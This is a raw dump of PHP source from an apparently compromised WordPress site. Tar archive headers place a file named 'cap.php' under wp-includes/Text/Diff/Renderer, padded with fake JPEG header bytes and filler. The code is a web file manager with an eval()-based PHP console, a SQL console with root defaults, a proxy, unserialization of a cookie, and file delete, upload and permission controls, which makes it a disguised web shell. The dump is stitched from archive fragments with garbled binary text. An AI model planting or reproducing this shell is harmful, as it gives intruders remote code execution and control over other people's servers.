		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                           cap.php.tar                                                                                         0000644                 00000240000 15217301621 0006577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
